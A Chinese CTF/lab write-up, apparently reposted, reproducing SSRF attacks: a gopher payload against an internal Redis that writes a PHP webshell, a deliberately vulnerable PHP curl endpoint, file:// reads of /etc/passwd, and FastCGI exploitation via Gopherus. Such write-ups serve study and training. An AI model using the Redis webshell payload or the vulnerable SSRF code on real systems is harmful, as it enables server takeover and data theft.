ssrf漏洞复现分析(1)

news2024/9/21 11:09:05

目录

Web-ssrfme

搭建环境

分析

ssrf攻击本地fastcgi漏洞复现


Web-ssrfme

搭建环境

这里我们使用的是docker环境,只需要把docker压缩包下载到Ubuntu下解压后执行命令即可,

docker-compose up -d

但是我的环境中不知道是缺少什么东西,他始终抱着一个错误,如下

这个问题我一直解决不了,这个时候我找了一个朋友,和他要到了docker镜像压缩包,如下

只需要把这个放在Ubuntu的任意目录下,执行命令即可

之后查看docker的images

之后构建docker-compose.yml文件即可

version: '3'
services:
        web:
                image: ctf/ssrfme
                ports:
                        - "8091:80"
        redis:
                image: web-ssrfme_redis

在这个文件目录下执行命令即可

docker-compose up

这样过后,我的环境终于搭建好了

分析

我们直接进入访问这个ip的8091

进入题目,直接把源码给了,那我们分析源码,源码过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测, 发现存在ssrf漏洞

目前还不知道当前主机的内网ip,但是源码提供了一个查看phpinfo的功能:

我们查看phpinfo,查到了当前主机的内网ip为172.21.0.2,

我现在的想法是在这个ip下有没有其他端口开放,这里我们使用bp进行扫端口

在这个IP地址下只开放了80端口,那这个时候好像有些束手无策了,但是我们转换思想,为什么不能存在其他ip地址呢,这毕竟是内网,我们便可以探测该网段上存活的主机了,这里我手动探查

172.21.0.1,发现这个ip并没有什么反应

172.21.0.2,这个ip下重新打印了一次当前页面,仔细看后发现这个是我们当前主机ip,这就很正常了

172.21.0.3,在这个ip下,出现了不一样的结果,

我们使用bp扫一下开放那些端口

发现开放了6379,访问172.21.0.3:6379之后出现了一下界面

这是redis的报错,说明这台内网主机上还运行着redis服务。 这个时候第一反应就是redis未授权访问,接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用burp扫一下都有哪些目录,发现有个upload目录。

经测试upload目录下是可写的,使用工具生成payload

因为是get传参,所以我们还需要在进行url code编码,

gopher://172.21.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520systemctl%2528%2527cat%2520/flag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A

就这样成功拿下flag了

ssrf攻击本地fastcgi漏洞复现

环境:Ubuntu+Nginx+php

环境搭建

代码

<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);

echo $responseText;
curl_close($curl);
?>

开始测试

?url=http://www.baidu.com

到这里我们发现可以成功返回百度页面,接下来可以利用ssrf漏洞可以使用的协议dict,file,gopher等,那我们就可以先利用file协议查看etc/passwd

但是我们查看/etc/shadow就不可,因为我们的权限不够,那我们使用dict协议看看服务器本地开启了哪些端口,经过测试,发现没有明显的反馈,那我们可以看一下页面返回值,来猜测

这里利用了Nginx中间件,那么我们就有理由认为他这里有php-fpm,也有理由认为使用了9000端口。那我们接下来利用gopher协议去伪造请求了,这里我使用了gopherus工具生成exp。

因为我们是get传参,那我们就需要进行url code编码后才可以

这里我们就看到命令执行成功了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2072328.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

姿态识别 python 效果好,提供多种精准模型

该项目是一款基于Python的AI健身教练系统&#xff0c;它利用先进的姿态识别技术来帮助用户进行正确的运动姿势训练。该系统可以识别并纠正用户在做特定运动时的姿势&#xff0c;比如深蹲、仰卧起坐、步行等。 技术栈&#xff1a; 编程语言&#xff1a;Python深度学习框架&…

深度理解指针(3)

hello&#xff0c;各位小伙伴们在上期的最后我们了解到了指针数组&#xff0c;是用来存储指针的数组。这期我们将会学习深度理解指针&#xff08;3&#xff09;有关指针的内容&#xff0c;仍然与数组分不开&#xff0c;让我们踏上此次列车来进行新的旅途吧&#xff01; 目录 字…

【实施】软件实施方案(word套用)

软件实施方案 二、 项目介绍 三、 项目实施 四、 项目实施计划 五、 人员培训 六、 项目验收 七、 售后服务 八、 项目保障措施 软件开发全套资料获取&#xff1a;&#xff08;本文末个人名片也可直接获取&#xff09; 软件产品&#xff0c;特别是行业解决方案软件产品不同于一…

【ES6】使用Proxy实现单例模式

前言 由于JS没有private关键字&#xff0c;无法私有化构造器&#xff0c;所以下面代码无法限制&#xff1a; class Person {constructor() {console.log("Person created");} }const p1 new Person(); const p2 new Person();console.log(p1 p2); // false实现 …

【机器学习】小样本学习的实战技巧:如何在数据稀缺中取得突破

我的主页&#xff1a;2的n次方_ 在机器学习领域&#xff0c;充足的标注数据通常是构建高性能模型的基础。然而&#xff0c;在许多实际应用中&#xff0c;数据稀缺的问题普遍存在&#xff0c;如医疗影像分析、药物研发、少见语言处理等领域。小样本学习&#xff08;Few-Shot Le…

【网络】IP协议详解

前言 IP协议是网络层协议&#xff0c;应用层希望让数据可靠的从A主机到B主机&#xff0c;就设计出了传输层策略TCP协议。而实际上&#xff0c;网络从A网络到B网络不仅依赖于传输层可靠的策略&#xff0c;还依赖于跨网络传输数据的能力。这个跨网络的能力就IP协议。 数据从A主…

【深度好文】非地面网络NTN的3GPP研究发展历程

目录 基本概念 NTN频段 3GPP版本演进 Pre Rel-15 Rel-15 Rel 16 Rel 17 Rel 18 Rel 19 3GPP标准后续研究 NTN 的无线相关 SI/WI 通过 NTN 提供物联网支持的无线相关 SI/WI 通过 NTN 提供物联网支持的系统/核心网络相关 SI/WI 参考 缩写 基…

变声器免费的直接说话的那种!不整虚的,一键变声!好听!

听说网络上一堆推荐软件测评的&#xff0c;一半斗志推销自己家的软件&#xff0c;好不好用其次&#xff0c;关键是名声已经在外&#xff01;今天俺老孙也不整这些虚的&#xff0c;直接上干货&#xff0c;测评2024最新的电脑变声软件&#xff0c;帮助大家了解这六款国内外不同系…

8月25日微语报,星期日,农历七月廿二

8月25日微语报&#xff0c;星期日&#xff0c;农历七月廿二&#xff0c;周末愉快&#xff01; 一份微语报&#xff0c;众览天下事&#xff01; 1、两部门预拨5000万元中央自然灾害救灾资金支持辽宁防汛救灾。 2、重达2492克拉&#xff01;博茨瓦纳发现世界第二大钻石。 3、…

了解ROS Nodes(节点/结点)

1.相关概念 Nodes:A node is an executable that uses ROS to communicate with other nodes.Messages: ROS data type used when subscribing or publishing to a topic.Topics: Nodes canpublishmessagesto a topic as well assubscribetoa topic to receive messages.Master…

LLM 直接偏好优化(DPO)的一些研究

今天我们来聊聊大型语言模型&#xff08;LLMs&#xff09;吧。要让这些聪明的家伙和咱们人类的价值观还有喜好对上号&#xff0c;这事儿可不简单。以前咱们用的方法&#xff0c;比如基于人类反馈的强化学习&#xff08;RLHF&#xff09;&#xff0c;虽然管用&#xff0c;但是它…

3.2-CoroutineScope/CoroutineContext:GlobalScope

文章目录 GlobalScope 是一个特殊的 CoroutineScope&#xff0c;它是一个单例的 CoroutineScope&#xff0c;我们可以直接用它启动协程&#xff1a; GlobalScope.launch {}我们在 IDE 用 GlobalScope 时会有一条黄线&#xff0c;提示的是要小心使用它因为容易用错、容易写出问…

标配M4芯片!苹果三款Mac新品蓄势待发

Mark Gurman透露&#xff0c; 苹果正在测试M4系列Mac新品&#xff0c;包含MacBook Pro、Mac mini和iMac&#xff0c;这些设备会在今年10月同台亮相。 根据曝光的开发者日志&#xff0c;上述Mac设备新品测试了两种M4芯片&#xff0c;一种是10核CPU10核GPU&#xff0c;一种是8核C…

无人机PX4飞控 | 电源系统详解与相关代码

无人机需要一个稳压电源用于飞控供电&#xff0c;同时用于电机、舵机、外围设备等的供电。 供电系统一般是一块电池或多块电池 电源模块通常用于“分离”飞行控制器的稳压电源&#xff0c;也用于测量电池电压和PX4学习笔记飞行器消耗的总电流。 PX4可以使用这些信息来推断剩余的…

Steam昨夜故障原因公布:遭DDoS攻击 与《黑神话》在线人数无关

24日晚&#xff0c;Steam平台突然崩溃&#xff0c;国内国外玩家纷纷反馈无法登录&#xff0c;相关话题迅速登上热搜。不少玩家猜测Steam崩溃是因为《黑神话&#xff1a;悟空》在线人数过多导致。 不过&#xff0c;根据完美世界竞技平台发布的公告&#xff0c;此次Steam崩溃是由…

新书推荐:《分布式商业生态战略:数字商业新逻辑与企业数字化转型新策略》

近两年&#xff0c;商业经济环境的不确定性越来越明显&#xff0c;市场经济受到疫情、技术、政策等多方因素影响越来越难以预测&#xff0c;黑天鹅事件时有发生。在国内外经济方面&#xff0c;国际的地缘政治对商业经济产生着重大的影响&#xff0c;例如供应链中断&#xff0c;…

Python画笔案例-010 绘制台阶图

1、绘制台阶图 通过 python 的turtle 库绘制一个台阶图的图案&#xff0c;如下图&#xff1a; 2、实现代码 引入新的命令&#xff1a;turtle.ycor()&#xff0c;获取当前海龟的y 坐标值&#xff0c;turtle.xcor()是获取海龟的 x 坐标值&#xff1b; turtle.setx(x) &#xff0…

NC 最长上升子序列(三)

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 描述 给定数组 arr…

C++ STL 容器

引言--多看案例 STL概念 STL(Standard Template Library, 标准模板库 ), 是惠普实验室开发的一系列软件的统 称。 STL 6 大组件 容器 : 作用 : 容纳存储数据 分类 : 序列式容器&#xff1a; 强调值的排序&#xff0c;每个元素均有固定的位置&#xff0c; 除非用删除或插…

深度学习与神经网络戴做讲解

深度学习指导&#xff0c;计算机视觉指导。检测&#xff0c;分割&#xff0c;视频处理&#xff0c;估计&#xff0c;人脸&#xff0c;目标跟踪&#xff0c;图像&视频检索/视频理解&#xff0c;医学影像&#xff0c;GAN/生成式/对抗式&#xff0c;图像生成/图像合成&#xf…